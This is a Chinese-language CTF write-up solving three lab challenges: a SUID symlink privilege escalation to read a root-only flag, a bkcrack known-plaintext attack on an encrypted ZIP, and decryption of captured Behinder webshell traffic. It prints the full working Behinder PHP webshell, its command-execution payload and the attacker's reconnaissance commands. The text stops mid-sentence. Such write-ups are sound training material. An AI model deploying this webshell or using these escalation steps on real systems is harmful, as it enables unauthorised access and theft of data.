ctf@cl-137-c98351f013ba2a8a:~$ lsnotes.txtctf@cl-137-c98351f013ba2a8a:~$ cat notes.txtThink About SUID.ctf@cl-137-c98351f013ba2a8a:~$ cat /start.sh#!/bin/sh
if [ "$A1CTF_FLAG" ]; then INSERT_FLAG="$A1CTF_FLAG" unset A1CTF_FLAGelif [ "$QUESTION_CTF_FLAG" ]; then INSERT_FLAG="$QUESTION_CTF_FLAG" unset QUESTION_CTF_FLAGelif [ "$GZCTF_FLAG" ]; then INSERT_FLAG="$GZCTF_FLAG" unset GZCTF_FLAGelif [ "$FLAG" ]; then INSERT_FLAG="$FLAG" unset FLAGelse INSERT_FLAG="QUESTION_CTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"fi
echo -n $INSERT_FLAG > /root/flag.txtINSERT_FLAG=""
chmod 600 /root/flag.txtchown root:root /root/flag.txt
exec /usr/sbin/sshd -D那目标就是利用SUID提权到root,读取/root/flag.txt
ctf@cl-137-c98351f013ba2a8a:~$ find / -perm -u=s -type f 2>/dev/null/usr/local/bin/editnote/usr/bin/chsh/usr/bin/su/usr/bin/passwd/usr/bin/newgrp/usr/bin/mount/usr/bin/gpasswd/usr/bin/umount/usr/bin/chfn/usr/lib/openssh/ssh-keysign显然这个/usr/local/bin/editnote就是SUID文件。
ctf@cl-137-c98351f013ba2a8a:~$ strings /usr/local/bin/editnote/lib64/ld-linux-x86-64.so.2__cxa_finalize__libc_start_mainexeclpgetenvperrorlibc.so.6GLIBC_2.34GLIBC_2.2.5_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTablePTE1u+UHEDITOR/home/ctf/notes.txtexeclp failed:*3$"GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0Scrt1.o__abi_tagcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0...后续省略关注这两个EDITOR、/home/ctf/notes.txt
ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=catctf@cl-137-c98351f013ba2a8a:~$ editnote /home/ctf/notes.txtThink About SUID.ctf@cl-137-c98351f013ba2a8a:~$ editnoteThink About SUID.ctf@cl-137-c98351f013ba2a8a:~$ editnote /root/flag.txtThink About SUID.看起来这个editnote并不接受输入
ctf@cl-137-c98351f013ba2a8a:~$ echo 'cat /root/flag.txt' > /tmp/shellctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnotecat: /root/flag.txt: Permission denied布什戈么??尝试链接符号:
ctf@cl-137-c98351f013ba2a8a:~$ export EDITOR=/usr/bin/catctf@cl-137-c98351f013ba2a8a:~$ rm /home/ctf/notes.txtctf@cl-137-c98351f013ba2a8a:~$ ln -s /root/flag.txt /home/ctf/notes.txtctf@cl-137-c98351f013ba2a8a:~$ /usr/local/bin/editnoteflag{738215c9-0064-4c47-8634-ca561e4be87d}好啊!复盘,直接cat permission denied应该是 有效用户ID (EUID) 和 真实用户ID (RUID) 不一致,导致权限被丢弃了。
[Week2] 俱乐部之旅(2) - 我邮件呢??
下载得到pcapng,导出IMF
得到Congratulations.zip,but,要密码?
(base) ➜ [Week2] 俱乐部之旅(2) - 我邮件呢?? unzip -v Congratulations.zipArchive: Congratulations.zipAccess to the congratulatory letter requires your identity hash as the password Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 851 Stored 851 0% 09-07-2025 18:21 46287889 Congratulations.txt 639230 Stored 639230 0% 09-07-2025 18:46 776c15e2 id_card.png-------- ------- --- ------- 640081 640081 0% 2 files注意这句,Access to the congratulatory letter requires your identity hash as the password,
QWNjZXNzIEdyYW50ZWQgqEMgV2VsY29tZSB0byBDNU Access Granted ¨C Welcome to C5IM Access Granted – Welcome to C5IM
嘶,并非如此。观察到压缩包内有id_card.png,尝试使用bkcrack对png_header进行明文攻击。(部分文件数据居然也可以诶?!)参考博文https://www.cnblogs.com/JacekYang/p/17592358.html
(base) ➜ [Week2] 俱乐部之旅(2) - 我邮件呢?? bkcrack -C Congratulations.zip -c id_card.png -p png_headerbkcrack 1.8.0 - 2025-08-18[06:53:09] Z reduction using 9 bytes of known plaintext100.0 % (9 / 9)[06:53:09] Attack on 736192 Z values at index 6Keys: 733236fb 6652cac7 8542e0e275.7 % (557238 / 736192)Found a solution. Stopping.You may resume the attack with the option: --continue-attack 557238[06:58:23] Keys733236fb 6652cac7 8542e0e2啊啊啊啊???733236fb 6652cac7 8542e0e2
bkcrack -C Congratulations.zip -c id_card.png -k 733236fb 6652cac7 8542e0e2 -d id_card.png读一下id_card.png
密码有了,4458e940b799c5419ac8fbceac043ac5,unzip解压得到Congratulations.txt
flag{pl34s3_s4f3gu4rd_y0ur_r3c0v3r3d_c5im_d4t4}但这里并非如此顺畅,Congratulations.zip很奇怪,内部两个文件密码不一样,Keka直接认为hash密码不正确。。。
[Week2] 布豪有黑客(二)
获得week2.pcnpng,导出object-http
(这个test.jpg好可爱啊哈哈哈哈)
观察流量发现,先上传了一个test.jpg,然后是shell.php
观察upload.php
<?php@error_reporting(0);session_start(); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post."");
for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params);?>我Chao!冰蝎(Behinder)!
http://tools.bugscaner.com/cryptoaes/用这个解密AES,密码为e45e329feb5d925b
冰蝎数据流实际上是 base64 + json + aes,有工具的话一键解密应该挺方便的,但这题看起来数据流不多,那就手动操作一下吧。
shell(7).php
@error_reporting(0);
function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd,$path){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result)); return;
} $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result));}
function Encrypt($data){ @session_start(); $key = $_SESSION['k']; if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); }}$cmd="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7bHMgLWxh";$cmd=base64_decode($cmd);$path="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==";$path=base64_decode($path);main($cmd,$path);cmd="cd /xp/www/week2/uploads/ ;ls -la" path="/xp/www/week2/uploads/"
响应为:
total 388drwxr-xr-x 2 www www 4096 Sep 19 12:57 .drwxr-xr-x 3 www www 4096 Sep 19 11:06 ..-rw-r--r-- 1 www www 643 Sep 19 12:57 shell.php-rw-r--r-- 1 www www 381805 Sep 19 12:57 test.jpgshell(10).php
$cmd="Y2QgL3hwL3d3dy93ZWVrMi91cGxvYWRzLyA7dW5hbWUgLWE=";$cmd=base64_decode($cmd);$path="L3hwL3d3dy93ZWVrMi91cGxvYWRzLw==";$path=base64_decode($path);main($cmd,$path);cmd="cd /xp/www/week2/uploads/ ;uname -a"
输出:
Linux c3ngh-server 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linuxshell(13).php (省略细节)
cd /xp/www/week2/uploads/ ;whoamiwwwshell(15).php
cd /xp/www/week2/uploads/ ;ps -auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMANDroot 1 0.0 0.2 166296 11844 ? Ss 09:13 0:06 /sbin/initroot 2 0.0 0.0 0 0 ? S 09:13 0:00 [kthreadd]root 3 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_gp]root 4 0.0 0.0 0 0 ? I< 09:13 0:00 [rcu_par_gp]root 5 0.0 0.0 0 0 ? I< 09:13 0:00 [slub_flushwq]root 6 0.0 0.0 0 0 ? I< 09:13 0:00 [netns]root 8 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:0H-events_highpri]root 10 0.0 0.0 0 0 ? I< 09:13 0:00 [mm_percpu_wq]root 11 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_rude_]root 12 0.0 0.0 0 0 ? S 09:13 0:00 [rcu_tasks_trace]root 13 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/0]root 14 0.0 0.0 0 0 ? I 09:13 0:11 [rcu_sched]root 15 0.0 0.0 0 0 ? S 09:13 0:00 [migration/0]root 16 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/0]root 18 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/0]root 19 0.0 0.0 0 0 ? S 09:13 0:00 [cpuhp/1]root 20 0.0 0.0 0 0 ? S 09:13 0:00 [idle_inject/1]root 21 0.0 0.0 0 0 ? S 09:13 0:01 [migration/1]root 22 0.0 0.0 0 0 ? S 09:13 0:01 [ksoftirqd/1]root 24 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:0H-events_highpri]root 25 0.0 0.0 0 0 ? S 09:13 0:00 [kdevtmpfs]root 26 0.0 0.0 0 0 ? I< 09:13 0:00 [inet_frag_wq]root 27 0.0 0.0 0 0 ? S 09:13 0:00 [kauditd]root 29 0.0 0.0 0 0 ? S 09:13 0:00 [khungtaskd]root 30 0.0 0.0 0 0 ? S 09:13 0:00 [oom_reaper]root 31 0.0 0.0 0 0 ? I< 09:13 0:00 [writeback]root 32 0.0 0.0 0 0 ? S 09:13 0:02 [kcompactd0]root 33 0.0 0.0 0 0 ? SN 09:13 0:00 [ksmd]root 34 0.0 0.0 0 0 ? SN 09:13 0:00 [khugepaged]root 81 0.0 0.0 0 0 ? I< 09:13 0:00 [kintegrityd]root 82 0.0 0.0 0 0 ? I< 09:13 0:00 [kblockd]root 83 0.0 0.0 0 0 ? I< 09:13 0:00 [blkcg_punt_bio]root 85 0.0 0.0 0 0 ? I< 09:13 0:00 [tpm_dev_wq]root 86 0.0 0.0 0 0 ? I< 09:13 0:00 [ata_sff]root 87 0.0 0.0 0 0 ? I< 09:13 0:00 [md]root 88 0.0 0.0 0 0 ? I< 09:13 0:00 [edac-poller]root 89 0.0 0.0 0 0 ? I< 09:13 0:00 [devfreq_wq]root 90 0.0 0.0 0 0 ? S 09:13 0:00 [watchdogd]root 91 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/1:1H-kblockd]root 93 0.0 0.0 0 0 ? S 09:13 0:00 [kswapd0]root 94 0.0 0.0 0 0 ? S 09:13 0:00 [ecryptfs-kthrea]root 96 0.0 0.0 0 0 ? I< 09:13 0:00 [kthrotld]root 97 0.0 0.0 0 0 ? S 09:13 0:00 [irq/24-pciehp]root 98 0.0 0.0 0 0 ? S 09:13 0:00 [irq/25-pciehp]root 99 0.0 0.0 0 0 ? S 09:13 0:00 [irq/26-pciehp]root 100 0.0 0.0 0 0 ? S 09:13 0:00 [irq/27-pciehp]root 101 0.0 0.0 0 0 ? S 09:13 0:00 [irq/28-pciehp]root 102 0.0 0.0 0 0 ? S 09:13 0:00 [irq/29-pciehp]root 103 0.0 0.0 0 0 ? S 09:13 0:00 [irq/30-pciehp]root 104 0.0 0.0 0 0 ? S 09:13 0:00 [irq/31-pciehp]root 105 0.0 0.0 0 0 ? S 09:13 0:00 [irq/32-pciehp]root 106 0.0 0.0 0 0 ? S 09:13 0:00 [irq/33-pciehp]root 107 0.0 0.0 0 0 ? S 09:13 0:00 [irq/34-pciehp]root 108 0.0 0.0 0 0 ? S 09:13 0:00 [irq/35-pciehp]root 109 0.0 0.0 0 0 ? S 09:13 0:00 [irq/36-pciehp]root 110 0.0 0.0 0 0 ? S 09:13 0:00 [irq/37-pciehp]root 111 0.0 0.0 0 0 ? S 09:13 0:00 [irq/38-pciehp]root 112 0.0 0.0 0 0 ? S 09:13 0:00 [irq/39-pciehp]root 113 0.0 0.0 0 0 ? S 09:13 0:00 [irq/40-pciehp]root 114 0.0 0.0 0 0 ? S 09:13 0:00 [irq/41-pciehp]root 115 0.0 0.0 0 0 ? S 09:13 0:00 [irq/42-pciehp]root 116 0.0 0.0 0 0 ? S 09:13 0:00 [irq/43-pciehp]root 117 0.0 0.0 0 0 ? S 09:13 0:00 [irq/44-pciehp]root 118 0.0 0.0 0 0 ? S 09:13 0:00 [irq/45-pciehp]root 119 0.0 0.0 0 0 ? S 09:13 0:00 [irq/46-pciehp]root 120 0.0 0.0 0 0 ? S 09:13 0:00 [irq/47-pciehp]root 121 0.0 0.0 0 0 ? S 09:13 0:00 [irq/48-pciehp]root 122 0.0 0.0 0 0 ? S 09:13 0:00 [irq/49-pciehp]root 123 0.0 0.0 0 0 ? S 09:13 0:00 [irq/50-pciehp]root 124 0.0 0.0 0 0 ? S 09:13 0:00 [irq/51-pciehp]root 125 0.0 0.0 0 0 ? S 09:13 0:00 [irq/52-pciehp]root 126 0.0 0.0 0 0 ? S 09:13 0:00 [irq/53-pciehp]root 127 0.0 0.0 0 0 ? S 09:13 0:00 [irq/54-pciehp]root 128 0.0 0.0 0 0 ? S 09:13 0:00 [irq/55-pciehp]root 129 0.0 0.0 0 0 ? I< 09:13 0:00 [acpi_thermal_pm]root 131 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_0]root 132 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_0]root 133 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_1]root 134 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_1]root 136 0.0 0.0 0 0 ? I< 09:13 0:00 [vfio-irqfd-clea]root 137 0.0 0.0 0 0 ? I< 09:13 0:00 [mld]root 138 0.0 0.0 0 0 ? I< 09:13 0:00 [ipv6_addrconf]root 149 0.0 0.0 0 0 ? I< 09:13 0:00 [kstrp]root 152 0.0 0.0 0 0 ? I< 09:13 0:00 [zswap-shrink]root 154 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/u257:0]root 159 0.0 0.0 0 0 ? I< 09:13 0:00 [charger_manager]root 182 0.0 0.0 0 0 ? I< 09:13 0:00 [kworker/0:1H-kblockd]root 205 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt_poll_0]root 206 0.0 0.0 0 0 ? I< 09:13 0:00 [mpt/0]root 207 0.0 0.0 0 0 ? I< 09:13 0:00 [ttm_swap]root 208 0.0 0.0 0 0 ? S 09:13 0:01 [irq/16-vmwgfx]root 209 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc0]root 210 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc1]root 211 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc2]root 212 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc3]root 213 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc4]root 214 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc5]root 215 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc6]root 216 0.0 0.0 0 0 ? S 09:13 0:00 [card0-crtc7]root 217 0.0 0.0 0 0 ? I< 09:13 0:00 [cryptd]root 266 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_2]root 267 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_2]root 268 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_3]root 269 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_3]root 270 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_4]root 271 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_4]root 272 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_5]root 273 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_5]root 274 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_6]root 275 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_6]root 276 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_7]root 277 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_7]root 278 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_8]root 279 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_8]root 280 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_9]root 281 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_9]root 282 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_10]root 283 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_10]root 284 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_11]root 285 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_11]root 286 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_12]root 287 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_12]root 288 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_13]root 289 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_13]root 290 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_14]root 291 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_14]root 292 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_15]root 293 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_15]root 294 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_16]root 295 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_16]root 296 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_17]root 297 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_17]root 298 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_18]root 299 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_18]root 300 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_19]root 301 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_19]root 302 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_20]root 303 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_20]root 304 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_21]root 305 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_21]root 306 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_22]root 307 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_22]root 308 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_23]root 309 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_23]root 310 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_24]root 311 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_24]root 312 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_25]root 313 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_25]root 314 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_26]root 315 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_26]root 316 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_27]root 317 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_27]root 318 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_28]root 319 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_28]root 320 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_29]root 321 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_29]root 322 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_30]root 323 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_30]root 324 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_31]root 325 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_31]root 352 0.0 0.0 0 0 ? S 09:13 0:00 [scsi_eh_32]root 353 0.0 0.0 0 0 ? I< 09:13 0:00 [scsi_tmf_32]root 370 0.0 0.0 0 0 ? I< 09:13 0:00 [kdmflush]root 400 0.0 0.0 0 0 ? I< 09:13 0:00 [raid5wq]root 448 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/dm-0-8]root 449 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver]root 525 0.0 0.4 64268 18632 ? S<s 09:13 0:00 /lib/systemd/systemd-journaldroot 554 0.0 0.0 0 0 ? I< 09:13 0:00 [kaluad]root 557 0.0 0.1 26036 6892 ? Ss 09:13 0:00 /lib/systemd/systemd-udevdroot 558 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_rdacd]root 559 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpathd]root 560 0.0 0.0 0 0 ? I< 09:13 0:00 [kmpath_handlerd]root 561 0.0 0.6 354884 27096 ? SLsl 09:13 0:04 /sbin/multipathd -d -sroot 693 0.0 0.0 0 0 ? S 09:13 0:00 [jbd2/sda2-8]root 694 0.0 0.0 0 0 ? I< 09:13 0:00 [ext4-rsv-conver]systemd+ 711 0.0 0.1 89364 6624 ? Ssl 09:13 0:00 /lib/systemd/systemd-timesyncdroot 740 0.0 0.3 51152 12060 ? Ss 09:13 0:00 /usr/bin/VGAuthServiceroot 741 0.3 0.2 314820 9360 ? Ssl 09:13 0:51 /usr/bin/vmtoolsdsystemd+ 846 0.0 0.3 26332 13300 ? Ss 09:13 0:00 /lib/systemd/systemd-resolvedroot 857 0.0 0.0 6896 3088 ? Ss 09:13 0:00 /usr/sbin/cron -f -Pmessage+ 858 0.0 0.1 8872 5060 ? Ss 09:13 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-onlyroot 864 0.0 0.1 82832 3992 ? Ssl 09:13 0:00 /usr/sbin/irqbalance --foregroundroot 865 0.0 0.4 32820 19588 ? Ss 09:13 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggersroot 866 0.0 0.1 234504 6636 ? Ssl 09:13 0:00 /usr/libexec/polkitd --no-debugsyslog 867 0.0 0.1 222404 6244 ? Ssl 09:13 0:00 /usr/sbin/rsyslogd -n -iNONEroot 871 0.0 0.8 1321412 32464 ? Ssl 09:13 0:02 /usr/lib/snapd/snapdroot 873 0.0 0.1 15536 7212 ? Ss 09:13 0:00 /lib/systemd/systemd-logindroot 875 0.0 0.3 392628 12828 ? Ssl 09:13 0:00 /usr/libexec/udisks2/udisksdroot 897 0.0 0.1 7852 4828 tty1 Ss 09:13 0:00 /bin/login -p --root 908 0.0 0.3 317968 12416 ? Ssl 09:13 0:00 /usr/sbin/ModemManagerroot 919 0.0 0.2 15440 9364 ? Ss 09:13 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startupsroot 930 0.0 0.5 109788 21716 ? Ssl 09:13 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signalroot 1071 0.0 1.8 1972468 71704 ? Ssl 09:13 0:04 dockerd --group docker --exec-root=/run/snap.docker --data-root=/var/snap/docker/common/var-lib-docker --pidfile=/run/snap.docker/docker.pid --config-file=/var/snap/docker/3265/config/daemon.jsonroot 1435 0.3 1.1 1802020 44404 ? Ssl 09:13 0:43 containerd --config /run/snap.docker/containerd/containerd.tomlc3ngh 4070 0.0 0.2 17080 9532 ? Ss 10:04 0:00 /lib/systemd/systemd --userc3ngh 4071 0.0 0.0 169388 3856 ? S 10:04 0:00 (sd-pam)c3ngh 4078 0.0 0.1 8744 5504 tty1 S+ 10:04 0:00 -bashsystemd+ 6216 0.0 0.1 16256 7924 ? Ss 10:36 0:00 /lib/systemd/systemd-networkdroot 6586 6.0 1.5 2368452 60300 ? Ssl 10:39 8:25 /xp/panel/approot 6587 0.0 0.1 578348 7272 ? Ssl 10:39 0:00 /xp/tasks/xp-tasksroot 6665 0.0 0.7 168680 28084 ? Ss 10:40 0:02 /xp/server/apache/bin/httpd -k startroot 6848 0.0 0.2 193112 9928 ? Ss 10:40 0:01 php-fpm: master process (/xp/server/php/php-7.4/etc/php-fpm.conf)www 6849 0.0 0.5 193544 21528 ? S 10:40 0:00 php-fpm: pool wwwwww 6850 0.0 0.5 193544 21224 ? S 10:40 0:00 php-fpm: pool wwwwww 9492 0.1 0.2 1587116 11088 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k startwww 9493 0.2 0.2 1718268 11820 ? Sl 11:02 0:14 /xp/server/apache/bin/httpd -k startwww 9494 0.1 0.2 1587116 11532 ? Sl 11:02 0:12 /xp/server/apache/bin/httpd -k startwww 9856 0.1 0.2 1587116 10724 ? Sl 11:06 0:11 /xp/server/apache/bin/httpd -k startroot 10417 0.0 1.0 475504 42540 ? Ssl 11:17 0:02 /usr/libexec/fwupd/fwupdroot 10418 0.4 0.0 0 0 ? I 11:17 0:25 [kworker/0:1-events]root 10444 0.0 0.2 239628 8660 ? Ssl 11:18 0:00 /usr/libexec/upowerdroot 10470 0.0 0.0 81388 856 ? Ss 11:18 0:00 gpg-agent --homedir /var/lib/fwupd/gnupg --use-standard-socket --daemonroot 10935 0.0 0.0 0 0 ? I 11:31 0:01 [kworker/u256:2-events_power_efficient]root 12409 0.2 0.0 0 0 ? I 12:05 0:09 [kworker/1:0-events]root 12410 0.0 0.0 0 0 ? I 12:05 0:00 [kworker/0:0-events]root 13233 0.0 0.0 0 0 ? I 12:30 0:00 [kworker/u256:0-events_power_efficient]root 13818 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/1:1]root 13820 0.0 0.0 0 0 ? I 12:48 0:00 [kworker/u256:3-events_power_efficient]www 14312 0.0 0.0 7316 3444 ? R 12:58 0:00 ps -aux过于墨迹了
shell(18).php
cd /xp/www/week2/uploads/ ;ls /
binbootcdromdevetcflaghomeliblib32lib64libx32lost+foundmediamntoptprocrootrunsbinsnapsrvsystmpusrvarxpshell(21).php
cd /xp/www/week2/uploads/ ;cd /shell(24).php
$cmd="Y2QgLyA7ZmluZCAvIC1wZXJtIC00MDAwIC10eXBlIGYgMj4vZGV2L251bGw=";$cmd=base64_decode($cmd);$path="Lw==";$path=base64_decode($path);main($cmd,$path);cd / ;find / -perm -4000 -type f 2>/dev/null
/snap/snapd/21759/usr/lib/snapd/snap-confine/snap/core20/2318/usr/bin/chfn/snap/core20/2318/usr/bin/chsh/snap/core20/2318/usr/bin/gpasswd/snap/core20/2318/usr/bin/mount/snap/core20/2318/usr/bin/newgrp/snap/core20/2318/usr/bin/passwd/snap/core20/2318/usr/bin/su/snap/core20/2318/usr/bin/sudo/snap/core20/2318/usr/bin/umount/snap/core20/2318/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/2318/usr/lib/openssh/ssh-keysign/snap/core22/2045/usr/bin/chfn/snap/core22/2045/usr/bin/chsh/snap/core22/2045/usr/bin/gpasswd/snap/core22/2045/usr/bin/mount/snap/core22/2045/usr/bin/newgrp/snap/core22/2045/usr/bin/passwd/snap/core22/2045/usr/bin/su/snap/core22/2045/usr/bin/sudo/snap/core22/2045/usr/bin/umount/snap/core22/2045/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core22/2045/usr/lib/openssh/ssh-keysign/snap/core22/2045/usr/libexec/polkit-agent-helper-1/usr/bin/mount/usr/bin/sudo/usr/bin/openssl/usr/bin/su/usr/bin/fusermount3/usr/bin/passwd/usr/bin/chfn/usr/bin/gpasswd/usr/bin/umount/usr/bin/newgrp/usr/bin/pkexec/usr/bin/chsh/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/snapd/snap-confine/usr/lib/openssh/ssh-keysign/usr/libexec/polkit-agent-helper-1看到snap天生应激%%。看样子是想SUID提权了(并没有)。
shell(27).php
cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip他喵的早知道从后往前看了。。。
本地执行:
